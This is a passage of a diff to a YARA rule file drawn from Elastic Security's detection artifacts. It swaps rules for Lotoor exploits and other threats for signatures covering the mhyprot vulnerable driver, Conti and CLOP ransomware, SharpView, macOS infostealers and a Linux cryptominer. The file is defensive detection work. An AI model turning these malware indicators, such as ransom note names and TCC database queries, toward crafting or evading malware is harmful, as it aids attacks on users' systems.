+		$c1 = { B9 91 51 13 EE 50 68 80 00 00 00 6A 04 50 50 ?? ?? ?? ?? ?? ?? ?? 6A 04 50 E8 ?? ?? ?? ?? FF D0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_Fbff22Da : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Mhyprot_26214176 : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Subject: miHoYo Co.,Ltd., Version: 1.0.0.0"
 		author = "Elastic Security"
-		id = "fbff22da-2f31-416c-8aa0-1003e3be8baa"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "26214176-1565-4b10-bd7a-901206ef6b29"
+		date = "2022-08-25"
+		modified = "2022-08-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0762fa4e0d74e3c21b2afc8e4c28e2292d1c3de3683c46b5b77f0f9fe1faeec7"
-		logic_hash = "d3e3037593f5714dfb49c6e19631fd46331e2702c8bf6d6099bb5b34158321a9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Mhyprot.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6"
+		logic_hash = "61d1713c689b9d663f2d3360d07735b07ca10365b5ce424b2df726bd6cc434d3"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b649b172fad3e3b085cbf250bd17dbea4c409a7337914c63230d188f9b8135fa"
+		tags = "FILE"
+		fingerprint = "368c818c0052192c73f078a0ea314e3d2f5d08bc4ef32a27d7e01a40eba68940"
+		threat_name = "Windows.VulnDriver.Mhyprot"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 75 6E 61 6D 65 00 73 74 72 6C 65 6E 00 73 74 64 6F 75 74 00 }
+		$subject_name = { 06 03 55 04 03 [2] 6D 69 48 6F 59 6F 20 43 6F 2E 2C 4C 74 64 2E }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$str1 = "\\Device\\mhyprot2" wide fullword
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $subject_name and $version and $str1
 }
-rule ELASTIC_Linux_Exploit_Lotoor_E2D5Fad8 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sdbot_98628Ea1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Linux Trojan Sdbot (Linux.Trojan.Sdbot)"
 		author = "Elastic Security"
-		id = "e2d5fad8-45b6-4d65-826d-b909230e2b69"
+		id = "98628ea1-40d8-4a05-835f-a5a5f83637cb"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L181-L199"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7e54e57db3de32555c15e529c04b35f52d75af630e45b5f8d6c21149866b6929"
-		logic_hash = "b294ce1c4d928d73342bb6260456d850f9c59f3c48c7c4ffbce32ea9238f6eee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sdbot.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5568ae1f8a1eb879eb4705db5b3820e36c5ecea41eb54a8eef5b742f477cbdd8"
+		logic_hash = "55b8e3fa755965b85a043015f9303644b8e06fe8bfdc0e2062de75bdc2881541"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ec64f2c3ca5ec2bfc2146159dab3258e389be5962bdddf4c6db5975cc730a231"
+		fingerprint = "15cf6b916dd87915738f3aa05a2955c78a357935a183c0f88092d808535625a5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61822,264 +66009,286 @@ rule ELASTIC_Linux_Exploit_Lotoor_E2D5Fad8 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 8B 45 E4 8B 00 89 45 E8 8B 45 E8 8B 00 85 C0 75 08 8B 45 E8 89 }
+		$a = { 54 00 3C 08 54 00 02 00 26 00 00 40 4D 08 00 5C 00 50 00 49 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_F2F8Eb6B : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Conti_89F3F6Fa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Windows Ransomware Conti (Windows.Ransomware.Conti)"
 		author = "Elastic Security"
-		id = "f2f8eb6b-1fc3-4fca-b58d-d71ad932e1a7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "89f3f6fa-492c-40e3-a4aa-a526004197b2"
+		date = "2021-08-05"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L201-L219"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01721b9c024ca943f42c402a57f45bd4c77203a604c5c2cd26e5670df76a95b2"
-		logic_hash = "b6555e69b663591550976fd44352ecbdf0a0aef1e07a64396a576125a4fe4ba6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Conti.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "eae876886f19ba384f55778634a35a1d975414e83f22f6111e3e792f706301fe"
+		logic_hash = "4c1834e45d5e42f466249b75a89561ce1e88b9e3c07070e2833d4897fbed22ee"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "881e2cd5b644c2511306b3670320224810de369971278516f7562076226fa5b7"
+		fingerprint = "a82331eba3cbd52deb4bed5e11035ac1e519ec27931507f582f2985865c0fb1a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 14 40 00 00 00 EB 38 8B 44 24 14 48 98 83 E0 3F 48 85 C0 }
+		$a = { F7 FE 88 57 FF 83 EB 01 75 DA 8B 45 FC 5F 5B 40 5E 8B E5 5D C3 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_89671B03 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Clop_6A1670Aa : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Identifies CLOP ransomware in unpacked state"
 		author = "Elastic Security"
-		id = "89671b03-5bd4-481b-9304-2655ea689c5f"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L241-L259"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "001098473574cfac1edaca9f1180ab2005569e094be63186c45b48c18f880cf8"
-		logic_hash = "dfa7027c4fa0cbde33df87063fea4ecf51a085f3cc1805123c62747882d0a07e"
+		id = "6a1670aa-7f78-455b-9e28-f39ed4c6476e"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Clop.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "afe28000d50495bf2f2adc6cbf0159591ce87bff207f3c6a1d38e09f9ed328d7"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "e8b9631e5d4d8db559615504cc3f6fbd8a81bfbdb9e570113f20d006c44c8a9c"
+		quality = 75
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "7c24cc6a519922635a519dad412d1a07728317b91f90a120ccc1c7e7e2c8a002"
+		threat_name = "Windows.Ransomware.Clop"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 62 65 6C 3A 20 4C 69 6E 75 78 20 3C 20 32 2E 36 }
+		$b1 = { FF 15 04 E1 40 00 83 F8 03 74 0A 83 F8 02 }
 
 	condition:
-		all of them
+		1 of ($b*)
 }
-rule ELASTIC_Linux_Exploit_Lotoor_Dbc73Db0 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Clop_E04959B5 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Identifies CLOP ransomware in unpacked state"
 		author = "Elastic Security"
-		id = "dbc73db0-527c-436f-afdc-bc3750f10ea0"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L261-L279"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9fe78e4dd7975856a74d8dfd83e69793a769143e0fe6994cbc3ef28ea37d6cf8"
-		logic_hash = "4a7453342fd72dacb781919d3fac3bab02e7ef7c882d5938a2e0e1274c704705"
+		id = "e04959b5-f3da-428d-8b56-8a9817fdebe0"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Clop.yar#L22-L50"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "039fcb0e48898c7546588cd095fac16f06cf5e5568141aefb6db382a61e80a8d"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "2f6ad833b84f00be1d385de686a979d3738147c38b4126506e56225080ee81ef"
+		quality = 50
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "7367b90772ce6db0d639835a0a54a994ef8ed351b6dadff42517ed5fbc3d0d1a"
+		threat_name = "Windows.Ransomware.Clop"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 63 75 73 3A 20 4C 69 6E 75 78 20 32 2E 36 2E 33 }
+		$a1 = "-%s\\CIopReadMe.txt" wide fullword
+		$a2 = "CIopReadMe.txt" wide fullword
+		$a3 = "%s-CIop^_" wide fullword
+		$a4 = "%s%s.CIop" wide fullword
+		$a5 = "BestChangeT0p^_-666" ascii fullword
+		$a6 = ".CIop" wide fullword
+		$a7 = "A%s\\ClopReadMe.txt" wide fullword
+		$a8 = "%s%s.Clop" wide fullword
+		$a9 = "CLOP#666" wide fullword
+		$a10 = "MoneyP#666" wide fullword
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Linux_Exploit_Lotoor_Ec339160 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Clop_9Ac9Ea3E : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Identifies CLOP ransomware in unpacked state"
 		author = "Elastic Security"
-		id = "ec339160-5f25-495c-8e48-4683ad2fcca0"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L281-L299"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0002b469972f5c77a29e2a2719186059a3e96a6f4b1ef2d18a68fee3205ea0ba"
-		logic_hash = "9c1d1254093b172798024c42a6d78f5e6720d20b8c2a8ad4ca26c8e88e42f0e8"
+		id = "9ac9ea3e-72e1-4151-a2f8-87869f5f98e3"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Clop.yar#L52-L71"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1228ee4b934faf1d5f8cf4518974cd2c80a73d84c8a354bde4813fb97ba516d7"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "24a3630fd49860104c60c4f4d0ef03bd17c124383a0b5d027a06c7ca6cb9cbba"
+		quality = 75
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "1cb0adb36e94ef8f8d74862250205436ed3694ed7719d8e639cfdd0c8632fd6c"
+		threat_name = "Windows.Ransomware.Clop"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 69 75 6D 3A 20 4C 69 6E 75 78 20 32 2E 58 20 73 }
+		$c1 = { 8B 1D D8 E0 40 00 33 F6 8B 3D BC E0 40 00 }
 
 	condition:
-		all of them
+		1 of ($c*)
 }
-rule ELASTIC_Linux_Exploit_Lotoor_7Cd57E18 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Clop_606020E7 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Identifies CLOP ransomware in unpacked state"
 		author = "Elastic Security"
-		id = "7cd57e18-2315-419b-b373-ea801181232c"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L301-L319"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1eecf16dae302ae788d1bc81278139cd9f6af52d7bed48b8677b35ba5eb14e30"
-		logic_hash = "97604cdc9daa9993b9a18dc5df7ab105a5e6001129bcfcfeeb86640bee26f59d"
+		id = "606020e7-ce1a-4a48-b801-100fd22b3791"
+		date = "2020-05-03"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Clop.yar#L73-L92"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f5169b324bc19f6f5a04c99f1d3326c97300d038ec383c3eab94eb258963ac30"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "a7d3183de1bccd816bcd2346e9754aaf6e7eb124d7416d79bdbe422b33035414"
+		quality = 75
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "5ec4e00ddf2cb1315ec7d62dd228eee0d9c15fafe4712933d42e868f83f13569"
+		threat_name = "Windows.Ransomware.Clop"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 76 65 3A 20 4C 69 6E 75 78 20 32 2E 36 2E }
+		$d1 = { B8 E1 83 0F 3E F7 E6 8B C6 C1 EA 04 8B CA C1 E1 05 03 CA }
 
 	condition:
-		all of them
+		1 of ($d*)
 }
-rule ELASTIC_Linux_Trojan_Xpmmap_7Dcc3534 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpview_2C7603Ad : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xpmmap (Linux.Trojan.Xpmmap)"
+		description = "Detects Windows Hacktool Sharpview (Windows.Hacktool.SharpView)"
 		author = "Elastic Security"
-		id = "7dcc3534-e94c-4c92-ac9b-a82b00fb045b"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "2c7603ad-27f4-49fc-9fab-f4284620452f"
+		date = "2022-10-20"
+		modified = "2022-11-24"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xpmmap.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "765546a981921187a4a2bed9904fbc2ccb2a5876e0d45c72e79f04a517c1bda3"
-		logic_hash = "f88cc0f02797651e8cdf8e25b67a92f7825ec616b79df21daae798b613baf334"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpView.yar#L1-L34"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0621954bd329b5cabe45e92b31053627c27fa40853beb2cce2734fa677ffd93"
+		logic_hash = "1f80b2fd6121c2b36742c819a56626af2e1450dac0f62c67d93f09e4e140b75f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "397618543390fb8fd8b198f63034fe88b640408d75b769fb337433138dafcf66"
+		fingerprint = "379606da5cf6adb58d6a8e693d379252f7987ff295f838df092ce2246da08354"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 89 45 F8 48 83 7D F8 FF 75 14 BF 10 0C 40 00 }
+		$guid = "22A156EA-2623-45C7-8E50-E864D9FC44D3" ascii wide nocase
+		$print_str0 = "[Add-DomainObjectAcl] Granting principal {0} rights GUID '{1}' on {2}" ascii wide
+		$print_str1 = "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: {0}" ascii wide
+		$print_str2 = "[Get-WMIProcess] Error enumerating remote processes on '{0}', access likely denied: {1}" ascii wide
+		$print_str3 = "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." ascii wide
+		$print_str4 = "[Get-DomainGUIDMap] Error in building GUID map: {e}" ascii wide
+		$str0 = "^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$" ascii wide
+		$str1 = "(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))" ascii wide
+		$str2 = "^(CN|OU|DC)=" ascii wide
+		$str3 = "(|(samAccountName={0})(name={1})(displayname={2}))" ascii wide
+		$str4 = "^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$" ascii wide
+		$str5 = "LDAP://|^CN=.*" ascii wide
+		$str6 = "(objectCategory=groupPolicyContainer)" ascii wide
+		$str7 = "\\\\{0}\\SysVol\\{1}\\Policies\\{2}" ascii wide
+		$str8 = "S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$" ascii wide
+		$str9 = "^S-1-5-.*-[1-9]\\d{3,}$" ascii wide
 
 	condition:
-		all of them
+		$guid or ( all of ($str*) and 1 of ($print_str*))
 }
-rule ELASTIC_Windows_Vulndriver_Powertool_044A8645 : FILE
+rule ELASTIC_Macos_Infostealer_Encodedosascript_Eeb54A7E : FILE MEMORY
 {
 	meta:
-		description = "Name: kEvP64.sys"
+		description = "Detects Macos Infostealer Encodedosascript (Macos.Infostealer.EncodedOsascript)"
 		author = "Elastic Security"
-		id = "044a8645-cc90-4ab2-8519-e207583de60d"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "eeb54a7e-ebb3-4bf9-8538-2dbad9e514b9"
+		date = "2024-08-19"
+		modified = "2024-08-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_PowerTool.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c"
-		logic_hash = "b21c16cb72d003c505aa0ac4cc21b92513a100bad6870460090994c02cad875a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Macos_Infostealer_EncodedOsascript.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05"
+		logic_hash = "2f450c9afd92f52cdd8333e39e41b7334a01ddc39371c118260820a878359742"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "f79831f531f20cc1daeb86b860dffa02dd5a9d25c41cc1eff9f04eddbbd37864"
-		threat_name = "Windows.VulnDriver.PowerTool"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "7b9d3cc64f3cfbdf1f9938ab923ff06eb6aef78fce633af891f5dd6a6b38dd2d"
+		severity = 100
+		arch_context = "x86, arm64"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6B 00 45 00 76 00 50 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$xor_encoded_osascript = "osascript" xor(0x40)
+		$base32_encoded_osascript = { 4E 35 5A 57 43 34 33 44 4F 4A 55 58 41 35 }
+		$hex_encoded_osascript = "6f7361736372697074" ascii wide nocase
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		any of them
 }
-rule ELASTIC_Windows_Vulndriver_Marvinhw_37326842 : FILE
+rule ELASTIC_Macos_Infostealer_Mdquerytcc_142313Cb : FILE MEMORY
 {
 	meta:
-		description = "Subject: Marvin Test Solutions, Inc., Name: HW.sys, Version: 4.9.8.0"
+		description = "Detects Macos Infostealer Mdquerytcc (MacOS.Infostealer.MdQueryTCC)"
 		author = "Elastic Security"
-		id = "37326842-66a3-4058-abb7-d6d48ca58831"
-		date = "2022-07-21"
-		modified = "2022-07-21"
+		id = "142313cb-4726-442d-957c-5078440b8940"
+		date = "2023-04-11"
+		modified = "2024-08-19"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_MarvinHW.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5"
-		logic_hash = "f37290912ab7d997d718c074eef48a67a36444e9e97592b6be65855ade2ba246"
-		score = 50
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Infostealer_MdQueryTCC.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8"
+		logic_hash = "e00015867ad0a0c440a49364945fe828d50675ecfd2039028653d97c77cff323"
+		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "f0ac8176d412dfaeb9c37ce18c13dea7cc2783fd37421b69e19c4dfa898e42be"
-		threat_name = "Windows.VulnDriver.MarvinHW"
+		tags = "FILE, MEMORY"
+		fingerprint = "280fa2c49461d0b53425768b9114696104c3ed0241ed157c22e36cdbaa334ac9"
 		severity = 100
-		arch_context = "x86"
-		scan_context = "file"
+		arch_context = "x86, arm64"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 4D 61 72 76 69 6E 20 54 65 73 74 20 53 6F 6C 75 74 69 6F 6E 73 2C 20 49 6E 63 2E }
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 48 00 57 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x09][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x08][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x08][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x09][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x07][\x00-\x00]))/
+		$string1 = { 6B 4D 44 49 74 65 6D 44 69 73 70 6C 61 79 4E 61 6D 65 20 ( 3D | 3D ) 20 2A 54 43 43 2E 64 62 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $subject_name and $original_file_name and $version
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Malxmr_7054A0D0 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Ksmdbot_Ebeedb3C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Malxmr (Linux.Trojan.Malxmr)"
+		description = "Detects Linux Cryptominer Ksmdbot (Linux.Cryptominer.Ksmdbot)"
 		author = "Elastic Security"
-		id = "7054a0d0-11d4-4671-a88d-ea933e73fe11"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ebeedb3c-adc3-4df8-a8bf-5120802fa3c2"
+		date = "2022-12-14"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Malxmr.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3a6b3552ffac13aa70e24fef72b69f683ac221105415efb294fb9a2fc81c260a"
-		logic_hash = "f7153fb11e0e4bf422021cc0fab99536c2a193198bf70d7f2af2fa5c1971c028"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Ksmdbot.yar#L1-L23"
